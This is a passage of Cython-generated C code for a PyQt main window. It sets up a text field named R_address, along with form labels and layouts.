self.R_address.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) # <<<<<<<<<<<<<< * self.R_address.setDocumentTitle("") * self.R_address.setHtml("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n" */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setSizeAdjustPolicy); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QAbstractScrollArea); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_AdjustToContents); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 159, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":160 * self.R_address.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff) * self.R_address.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_address.setDocumentTitle("") # <<<<<<<<<<<<<< * self.R_address.setHtml("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n" * "<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n" */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setDocumentTitle); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__96, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 160, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":161 * self.R_address.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_address.setDocumentTitle("") * self.R_address.setHtml("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n" # <<<<<<<<<<<<<< * "<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n" * "p, li { white-space: pre-wrap; }\n" */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setHtml); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__97, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 161, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":166 * "</style></head><body style=\" font-family:\'DejaVu Sans\'; font-size:10pt; font-weight:400; font-style:normal;\">\n" * "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p></body></html>") * self.R_address.setAcceptRichText(False) # <<<<<<<<<<<<<< * self.R_address.setPlaceholderText("") * self.R_address.setProperty("inputMask", "") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAcceptRichText); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__98, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 166, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":167 * "<p style=\"-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><br /></p></body></html>") * self.R_address.setAcceptRichText(False) * self.R_address.setPlaceholderText("") # <<<<<<<<<<<<<< * self.R_address.setProperty("inputMask", "") * self.R_address.setProperty("text", "R_Address") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 167, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 167, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__99, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 167, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":168 * self.R_address.setAcceptRichText(False) * self.R_address.setPlaceholderText("") * self.R_address.setProperty("inputMask", "") # <<<<<<<<<<<<<< * self.R_address.setProperty("text", "R_Address") * self.R_address.setObjectName("R_address") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 168, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setProperty); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 168, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__100, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 168, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":169 * self.R_address.setPlaceholderText("") * self.R_address.setProperty("inputMask", "") * self.R_address.setProperty("text", "R_Address") # <<<<<<<<<<<<<< * self.R_address.setObjectName("R_address") * self.formLayout.setWidget(2, QtWidgets.QFormLayout.FieldRole, self.R_address) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 169, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setProperty); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 169, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__101, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 169, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":170 * self.R_address.setProperty("inputMask", "") * self.R_address.setProperty("text", "R_Address") * self.R_address.setObjectName("R_address") # <<<<<<<<<<<<<< * self.formLayout.setWidget(2, QtWidgets.QFormLayout.FieldRole, self.R_address) * self.label_10 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__102, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":171 * self.R_address.setProperty("text", "R_Address") * self.R_address.setObjectName("R_address") * self.formLayout.setWidget(2, QtWidgets.QFormLayout.FieldRole, self.R_address) # <<<<<<<<<<<<<< * self.label_10 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_10.setObjectName("label_10") */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_address); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_2, __pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_2, __pyx_t_9, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_2); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_4); __pyx_t_9 = 0; __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 171, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":172 * self.R_address.setObjectName("R_address") * self.formLayout.setWidget(2, QtWidgets.QFormLayout.FieldRole, self.R_address) * self.label_10 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_10.setObjectName("label_10") * self.formLayout.setWidget(4, QtWidgets.QFormLayout.LabelRole, self.label_10) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_10, __pyx_t_3) < 0) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":173 * self.formLayout.setWidget(2, QtWidgets.QFormLayout.FieldRole, self.R_address) * self.label_10 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_10.setObjectName("label_10") # <<<<<<<<<<<<<< * self.formLayout.setWidget(4, QtWidgets.QFormLayout.LabelRole, self.label_10) * self.horizontalLayout_2 = QtWidgets.QHBoxLayout() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__103, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":174 * self.label_10 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_10.setObjectName("label_10") * self.formLayout.setWidget(4, QtWidgets.QFormLayout.LabelRole, self.label_10) # <<<<<<<<<<<<<< * self.horizontalLayout_2 = QtWidgets.QHBoxLayout() * self.horizontalLayout_2.setContentsMargins(-1, 0, -1, 0) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_10); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_4, __pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[4] = {__pyx_t_4, __pyx_int_4, __pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_6 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_4); __Pyx_GIVEREF(__pyx_int_4); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_int_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 2+__pyx_t_8, __pyx_t_2); __pyx_t_1 = 0; __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":175 * self.label_10.setObjectName("label_10") * self.formLayout.setWidget(4, QtWidgets.QFormLayout.LabelRole, self.label_10) * self.horizontalLayout_2 = QtWidgets.QHBoxLayout() # <<<<<<<<<<<<<< * self.horizontalLayout_2.setContentsMargins(-1, 0, -1, 0) * self.horizontalLayout_2.setSpacing(2) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QHBoxLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_9) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_3 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if 